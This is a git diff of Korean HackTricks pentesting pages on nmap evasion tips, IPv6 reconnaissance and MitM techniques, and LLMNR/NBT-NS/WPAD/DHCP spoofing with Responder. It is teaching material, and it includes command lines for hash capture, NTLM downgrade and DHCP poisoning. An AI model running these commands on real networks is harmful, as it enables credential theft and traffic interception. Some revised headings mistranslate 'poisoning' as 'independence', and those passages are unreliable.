**-sP** 우리가 있는 네트워크에서 호스트를 발견하기 위해 ARP를 사용합니다.
|
||||
|
||||
많은 관리자들이 특정 포트(예: 20, 53 및 67)에서 오는 모든 패킷을 통과시키는 방화벽 규칙을 만듭니다. nmap에게 이러한 포트에서 패킷을 보내도록 지시할 수 있습니다: **nmap --source-port 53 Ip**
|
||||
많은 관리자들이 방화벽에서 특정 포트(예: 20, 53 및 67)에서 오는 모든 패킷을 통과시키는 규칙을 만듭니다. nmap에게 이러한 포트에서 패킷을 보내도록 지시할 수 있습니다: **nmap --source-port 53 Ip**
|
||||
|
||||
**출력**
|
||||
|
||||
|
@ -234,7 +235,7 @@ p / P 패킷 추적 켜기 / 끄기
|
|||
|
||||
**Vulscan**
|
||||
|
||||
nmap 스크립트로, 오프라인 데이터베이스(다른 중요한 데이터베이스에서 다운로드한)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
nmap 스크립트로, 오프라인 데이터베이스(중요한 다른 데이터베이스에서 다운로드)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
|
||||
사용하는 데이터베이스:
|
||||
|
||||
|
@ -261,24 +262,27 @@ wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar
|
|||
|
||||
## Nmap 서비스 스캔 속도 향상 x16
|
||||
|
||||
[**이 게시물**](https://joshua.hu/nmap-speedup-service-scanning-16x)에 따르면, **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다. 또한, 특별히 정의되지 않은 **`servicewaitms`**를 사용하는 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 **`service_scan.h`**에서 기본값을 변경하여 **nmap을 컴파일**할 수 있습니다.
|
||||
[**이 게시물**](https://joshua.hu/nmap-speedup-service-scanning-16x)에 따르면, **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하고 **`tcpwrappedms`**를 **200**으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다.
|
||||
|
||||
**`/usr/share/nmap/nmap-service-probes`** 파일에서 **`totalwaitms`** 및 **`tcpwrappedms`** 값을 전혀 변경하고 싶지 않은 경우, **`nmap-service-probes`** 파일의 구문 분석 코드를 수정하여 이러한 값을 완전히 무시할 수 있습니다.
|
||||
또한, 특별히 정의된 **`servicewaitms`**가 없는 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 **`service_scan.h`**에서 기본값을 변경하여 **nmap을 컴파일**할 수 있습니다.
|
||||
|
||||
만약 `/usr/share/nmap/nmap-service-probes` 파일에서 **`totalwaitms`**와 **`tcpwrappedms`** 값을 전혀 변경하고 싶지 않다면, `nmap-service-probes` 파일의 이러한 값들이 완전히 무시되도록 파싱 코드를 수정할 수 있습니다.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**** 팔로우하기.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭 공유하기.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# IPv6 기본 이론
|
||||
|
||||
## 네트워크
|
||||
|
||||
IPv6 주소는 네트워크 조직 및 장치 상호 작용을 향상시키기 위해 구조화됩니다. IPv6 주소는 다음과 같이 나누어집니다:
|
||||
IPv6 주소는 네트워크 구성 및 장치 상호 작용을 향상시키기 위해 구조화됈다. IPv6 주소는 다음과 같이 나뉘어진다:
|
||||
|
||||
1. **네트워크 접두사(Network Prefix)**: 네트워크 세그먼트를 결정하는 초기 48비트입니다.
|
||||
2. **서브넷 ID(Subnet ID)**: 네트워크 내에서 특정 서브넷을 정의하는 데 사용되는 16비트입니다.
|
||||
3. **인터페이스 식별자(Interface Identifier)**: 서브넷 내에서 장치를 고유하게 식별하는 마지막 64비트입니다.
|
||||
1. **네트워크 접두어(Network Prefix)**: 네트워크 세그먼트를 결정하는 초기 48비트.
|
||||
2. **서브넷 ID(Subnet ID)**: 네트워크 내에서 특정 서브넷을 정의하는 데 사용되는 다음 16비트.
|
||||
3. **인터페이스 식별자(Interface Identifier)**: 서브넷 내에서 장치를 고유하게 식별하는 마지막 64비트.
|
||||
|
||||
IPv6는 IPv4에서 발견되는 ARP 프로토콜을 생략하고 **ICMPv6**을 도입합니다. ICMPv6에는 두 가지 주요 메시지가 있습니다:
|
||||
- **Neighbor Solicitation (NS)**: 주소 해결을 위한 멀티캐스트 메시지입니다.
|
||||
- **Neighbor Advertisement (NA)**: NS 또는 자발적인 공지에 대한 유니캐스트 응답입니다.
|
||||
IPv6는 IPv4에서 발견되는 ARP 프로토콜을 생략하고 **ICMPv6**를 소개한다. ICMPv6에는 두 가지 주요 메시지가 있다:
|
||||
- **Neighbor Solicitation (NS)**: 주소 해상도를 위한 멀티캐스트 메시지.
|
||||
- **Neighbor Advertisement (NA)**: NS에 대한 유니캐스트 응답 또는 자발적인 공지.
|
||||
|
||||
IPv6는 특수한 주소 유형도 포함합니다:
|
||||
- **Loopback Address (`::1`)**: 내부 통신을 위한 IPv4의 `127.0.0.1`과 동등합니다.
|
||||
- **Link-Local Addresses (`FE80::/10`)**: 인터넷 라우팅이 아닌 로컬 네트워크 활동에 사용됩니다. 동일한 로컬 네트워크의 장치는 이 범위를 사용하여 서로를 발견할 수 있습니다.
|
||||
IPv6는 또한 특수 주소 유형을 포함한다:
|
||||
- **Loopback Address (`::1`)**: 내부 호스트 간 통신을 위한 IPv4의 `127.0.0.1`과 동등.
|
||||
- **Link-Local Addresses (`FE80::/10`)**: 인터넷 라우팅이 아닌 로컬 네트워크 활동을 위한 것. 동일한 로컬 네트워크의 장치는 이 범위를 사용하여 서로를 발견할 수 있다.
|
||||
|
||||
### 네트워크 명령어에서 IPv6의 실제 사용
|
||||
### 네트워크 명령어에서 IPv6의 실용적 사용
|
||||
|
||||
IPv6 네트워크와 상호 작용하기 위해 다양한 명령어를 사용할 수 있습니다:
|
||||
- **링크 로컬 주소에 대한 Ping**: `ping6`를 사용하여 로컬 장치의 존재 여부를 확인합니다.
|
||||
- **Neighbor Discovery**: `ip neigh`를 사용하여 링크 계층에서 발견된 장치를 확인합니다.
|
||||
- **alive6**: 동일한 네트워크에서 장치를 발견하기 위한 대체 도구입니다.
|
||||
IPv6 네트워크와 상호 작용하기 위해 다양한 명령어를 사용할 수 있다:
|
||||
- **Link-Local 주소에 핑 보내기**: `ping6`를 사용하여 로컬 장치의 존재를 확인한다.
|
||||
- **Neighbor Discovery**: 링크 계층에서 발견된 장치를 보기 위해 `ip neigh`를 사용한다.
|
||||
- **alive6**: 동일한 네트워크의 장치를 발견하기 위한 대체 도구.
|
||||
|
||||
아래는 일부 명령어 예시입니다:
|
||||
아래는 일부 명령어 예시이다:
|
||||
```bash
|
||||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||||
ip neigh | grep ^fe80
|
||||
|
@ -46,63 +47,64 @@ ip neigh | grep ^fe80
|
|||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
## **MAC 주소로부터 링크 로컬 IPv6 얻기**
|
||||
## **MAC 주소로부터 Link-local IPv6 얻기**
|
||||
|
||||
알려진 MAC 주소로부터 링크 로컬 IPv6 주소를 구성하는 간단한 가이드입니다:
|
||||
주어진 MAC 주소 **`12:34:56:78:9a:bc`**를 사용하여 Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다:
|
||||
|
||||
1. MAC 주소를 IPv6 형식으로 변환합니다: **`1234:5678:9abc`**
|
||||
2. `fe80::`를 앞에 추가하고 중간에 `fffe`를 삽입합니다: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. 왼쪽에서 일곱 번째 비트를 반전시켜 `1234`를 `1034`로 변경합니다: **`fe80::1034:56ff:fe78:9abc`**
|
||||
1. MAC을 IPv6 형식으로 변환: **`1234:5678:9abc`**
|
||||
2. `fe80::`를 앞에 추가하고 중간에 `fffe`를 삽입: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. 왼쪽에서 일곱 번째 비트를 반전하여 `1234`를 `1034`로 변경: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **IPv6 주소 유형**
|
||||
|
||||
- **고유 로컬 주소 (ULA)**: 공용 인터넷 라우팅을 위한 것이 아닌 로컬 통신용입니다. 접두사: **`FEC00::/7`**
|
||||
- **멀티캐스트 주소**: 일대다 통신용입니다. 멀티캐스트 그룹의 모든 인터페이스로 전달됩니다. 접두사: **`FF00::/8`**
|
||||
- **애니캐스트 주소**: 일대근접 통신용입니다. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다. **`2000::/3`** 글로벌 유니캐스트 범위의 일부입니다.
|
||||
- **고유 로컬 주소 (ULA)**: 공용 인터넷 라우팅을 위한 것이 아닌 로컬 통신용. 접두사: **`FEC00::/7`**
|
||||
- **멀티캐스트 주소**: 일대다 통신용. 멀티캐스트 그룹의 모든 인터페이스로 전송됨. 접두사: **`FF00::/8`**
|
||||
- **애니캐스트 주소**: 일대근접 통신용. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됨. **`2000::/3`** 글로벌 유니캐스트 범위의 일부.
|
||||
|
||||
## **주소 접두사**
|
||||
- **fe80::/10**: 링크 로컬 주소 (169.254.x.x와 유사)
|
||||
- **fc00::/7**: 고유 로컬 유니캐스트 (10.x.x.x, 172.16.x.x, 192.168.x.x와 유사한 사설 IPv4 범위)
|
||||
- **fc00::/7**: 고유 로컬-유니캐스트 (10.x.x.x, 172.16.x.x, 192.168.x.x와 유사)
|
||||
- **2000::/3**: 글로벌 유니캐스트
|
||||
- **ff02::1**: 멀티캐스트 모든 노드
|
||||
- **ff02::2**: 멀티캐스트 라우터 노드
|
||||
- **ff02::1**: 모든 노드 멀티캐스트
|
||||
- **ff02::2**: 라우터 노드 멀티캐스트
|
||||
|
||||
## **네트워크 내 IPv6 주소 탐색**
|
||||
## **네트워크 내 IPv6 주소 발견**
|
||||
|
||||
### 방법 1: 링크 로컬 주소 사용
|
||||
1. 네트워크 내 장치의 MAC 주소를 얻습니다.
|
||||
2. MAC 주소로부터 링크 로컬 IPv6 주소를 얻습니다.
|
||||
1. 네트워크 내 장치의 MAC 주소 획득.
|
||||
2. MAC 주소로부터 Link-local IPv6 주소 얻기.
|
||||
|
||||
### 방법 2: 멀티캐스트 사용
|
||||
1. 로컬 네트워크에서 IPv6 주소를 탐색하기 위해 멀티캐스트 주소 `ff02::1`로 핑을 보냅니다.
|
||||
1. 로컬 네트워크에서 IPv6 주소를 발견하기 위해 멀티캐스트 주소 `ff02::1`로 핑을 보냄.
|
||||
```bash
|
||||
service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## IPv6 중간자 공격 (MitM) 공격
|
||||
IPv6 네트워크에서 MitM 공격을 실행하기 위해 여러 기술이 존재합니다. 이러한 기술에는 다음이 포함됩니다:
|
||||
## IPv6 Man-in-the-Middle (MitM) 공격
|
||||
IPv6 네트워크에서 MitM 공격을 실행하는 여러 기술이 존재합니다. 이러한 기술로는 다음이 있습니다:
|
||||
|
||||
- ICMPv6 이웃 또는 라우터 광고를 위조하는 것.
|
||||
- ICMPv6 리다이렉트 또는 "패킷이 너무 큼" 메시지를 사용하여 경로 조작.
|
||||
- 모바일 IPv6 공격 (일반적으로 IPSec 비활성화 필요).
|
||||
- 악의적인 DHCPv6 서버 설정.
|
||||
|
||||
- ICMPv6 이웃 또는 라우터 광고 스푸핑
|
||||
- ICMPv6 리다이렉트 또는 "패킷이 너무 큼" 메시지를 사용하여 라우팅 조작
|
||||
- 모바일 IPv6 공격 (일반적으로 IPSec 비활성화 필요)
|
||||
- 위조 DHCPv6 서버 설정
|
||||
|
||||
# IPv6 주소 식별하기
|
||||
|
||||
## 서브도메인 탐색
|
||||
IPv6 주소와 관련된 서브도메인을 찾는 방법으로 검색 엔진을 활용할 수 있습니다. 예를 들어, `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음과 같은 검색 명령을 Google에서 사용할 수 있습니다:
|
||||
## 하위 도메인 탐색
|
||||
IPv6 주소와 관련이 있는 하위 도메인을 찾는 방법으로 검색 엔진을 활용할 수 있습니다. 예를 들어 `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로 Google에서 다음 검색 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## DNS 쿼리 활용
|
||||
IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수 있습니다:
|
||||
- **AXFR**: 완전한 존 전송을 요청하여 다양한 DNS 레코드를 발견할 수 있습니다.
|
||||
- **AAAA**: 직접 IPv6 주소를 찾습니다.
|
||||
- **ANY**: 모든 사용 가능한 DNS 레코드를 반환하는 넓은 쿼리입니다.
|
||||
- **AAAA**: IPv6 주소를 직접 찾습니다.
|
||||
- **ANY**: 모든 가능한 DNS 레코드를 반환하는 넓은 쿼리입니다.
|
||||
|
||||
## Ping6로 조사하기
|
||||
조직과 연결된 IPv6 주소를 정확히 파악한 후, `ping6` 유틸리티를 사용하여 조사할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
|
||||
## Ping6로 조사
|
||||
조직과 연관된 IPv6 주소를 정확히 확인한 후에는 `ping6` 유틸리티를 사용하여 조사할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답 능력을 평가하는 데 도움을 주며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
|
@ -111,16 +113,17 @@ IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수
|
|||
* [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,83 @@
|
|||
# LLMNR, NBT-NS, mDNS/DNS 및 WPAD 스푸핑 및 릴레이 공격
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 네트워크 프로토콜
|
||||
|
||||
### 로컬 호스트 해결 프로토콜
|
||||
### 로컬 호스트 해상도 프로토콜
|
||||
- **LLMNR, NBT-NS 및 mDNS**:
|
||||
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해결을 위해 LLMNR 및 NBT-NS를 사용합니다. 마찬가지로 Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
||||
- 이러한 프로토콜은 UDP를 통해 인증되지 않은 브로드캐스트 방식으로 통신하기 때문에 가로채기와 스푸핑에 취약합니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)를 사용하여 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 보내 서비스를 위장할 수 있습니다.
|
||||
- Microsoft 및 다른 운영 체제는 DNS가 실패할 때 로컬 이름 해상도를 위해 LLMNR 및 NBT-NS를 사용합니다. 비슷하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
||||
- 이러한 프로토콜은 UDP를 통해 인증되지 않은 브로드캐스트 방식으로 가로채고 스푸핑될 수 있습니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)를 사용하여 이러한 프로토콜을 쿼리하는 호스트에 대한 위조된 응답을 보내어 서비스를 위장할 수 있습니다.
|
||||
- Responder를 사용한 서비스 위장에 대한 자세한 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 찾을 수 있습니다.
|
||||
|
||||
### 웹 프록시 자동 검색 프로토콜 (WPAD)
|
||||
- WPAD를 사용하면 브라우저가 프록시 설정을 자동으로 검색할 수 있습니다.
|
||||
- 검색은 DHCP, DNS 또는 DNS가 실패하는 경우 LLMNR 및 NBT-NS로 대체됩니다.
|
||||
- Responder를 사용하여 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.
|
||||
- WPAD는 브라우저가 프록시 설정을 자동으로 찾을 수 있게 합니다.
|
||||
- DNS 또는 DHCP를 통해 검색이 용이하며, DNS가 실패하면 LLMNR 및 NBT-NS로 대체됩니다.
|
||||
- Responder를 사용하여 WPAD 공격을 자동화하여 클라이언트를 악의적인 WPAD 서버로 유도할 수 있습니다.
|
||||
|
||||
### 프로토콜 독점을 위한 Responder
|
||||
- **Responder**는 LLMNR, NBT-NS 및 mDNS 쿼리를 독점하기 위해 사용되는 도구로, 쿼리 유형에 따라 선택적으로 응답을 보내 SMB 서비스를 주로 대상으로 합니다.
|
||||
- Kali Linux에 미리 설치되어 있으며 `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
|
||||
### 프로토콜 독립성을 위한 Responder
|
||||
- **Responder**는 LLMNR, NBT-NS 및 mDNS 쿼리를 독립적으로 응답하는 도구로, 주로 SMB 서비스를 대상으로 적응적으로 응답합니다.
|
||||
- Kali Linux에 미리 설치되어 있으며, `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
|
||||
- Responder는 캡처된 해시를 화면에 표시하고 `/usr/share/responder/logs` 디렉토리에 저장합니다.
|
||||
- IPv4 및 IPv6를 모두 지원합니다.
|
||||
- Responder의 Windows 버전은 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
|
||||
|
||||
#### Responder 실행
|
||||
- 기본 설정으로 Responder 실행: `responder -I <인터페이스>`
|
||||
- 더 공격적인 프로빙을 위한 실행 (부작용 가능): `responder -I <인터페이스> -P -r -v`
|
||||
- NTLMv1 도전/응답을 캡처하여 더 쉬운 크래킹을 위한 기술: `responder -I <인터페이스> --lm --disable-ess`
|
||||
- WPAD 위장을 활성화할 수 있습니다: `responder -I <인터페이스> --wpad`
|
||||
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <인터페이스> -Pv`
|
||||
- 기본 설정으로 Responder 실행: `responder -I <Interface>`
|
||||
- 더 공격적인 프로빙을 위한 실행 (부작용 가능): `responder -I <Interface> -P -r -v`
|
||||
- NTLMv1 챌린지/응답을 캡처하여 쉽게 크래킹하기 위한 기술: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD 위장을 활성화하려면: `responder -I <Interface> --wpad`
|
||||
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Responder를 사용한 DHCP 독점
|
||||
- DHCP 응답을 위조하여 피해자의 라우팅 정보를 영구적으로 손상시킬 수 있으며, ARP 독점에 비해 은밀한 대안을 제공합니다.
|
||||
- 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.
|
||||
### Responder를 사용한 DHCP 독립성
|
||||
- DHCP 응답을 스푸핑하여 피해자의 라우팅 정보를 영구적으로 독립시킬 수 있으며, ARP 스푸핑에 대한 은밀한 대안을 제공합니다.
|
||||
- 대상 네트워크 구성에 대한 정확한 지식이 필요합니다.
|
||||
- 공격 실행: `./Responder.py -I eth0 -Pdv`
|
||||
- 이 방법은 효과적으로 NTLMv1/2 해시를 캡처할 수 있지만, 네트워크 중단을 피하기 위해 주의가 필요합니다.
|
||||
- 이 방법은 효과적으로 NTLMv1/2 해시를 캡처할 수 있지만, 네트워크 방해를 피하기 위해 주의 깊게 다뤄야 합니다.
|
||||
|
||||
### Responder를 사용한 자격 캡처
|
||||
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 위장하고, 사용자가 위장된 서비스에 인증을 시도할 때 자격 증명(일반적으로 NTLMv2 도전/응답)을 캡처합니다.
|
||||
- 자격 증명 크래킹을 위해 NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하는 시도를 할 수 있습니다.
|
||||
- Responder는 상기 프로토콜을 사용하여 서비스를 위장하고 사용자가 위조된 서비스에 인증을 시도할 때 자격 증명(일반적으로 NTLMv2 챌린지/응답)을 캡처합니다.
|
||||
- NetNTLMv1로 다운그레이드하거나 쉬운 자격 증명 크래킹을 위해 ESS를 비활성화하려는 시도를 할 수 있습니다.
|
||||
|
||||
이러한 기술을 사용할 때는 합법적이고 윤리적인 방식으로 진행해야 하며, 적절한 권한을 보장하고 네트워크 방해나 무단 접근을 피해야 합니다.
|
||||
이러한 기술을 적법하고 윤리적으로 사용하고 적절한 승인을 받아 네트워크 방해나 무단 접근을 피하는 것이 중요합니다.
|
||||
|
||||
## Inveigh
|
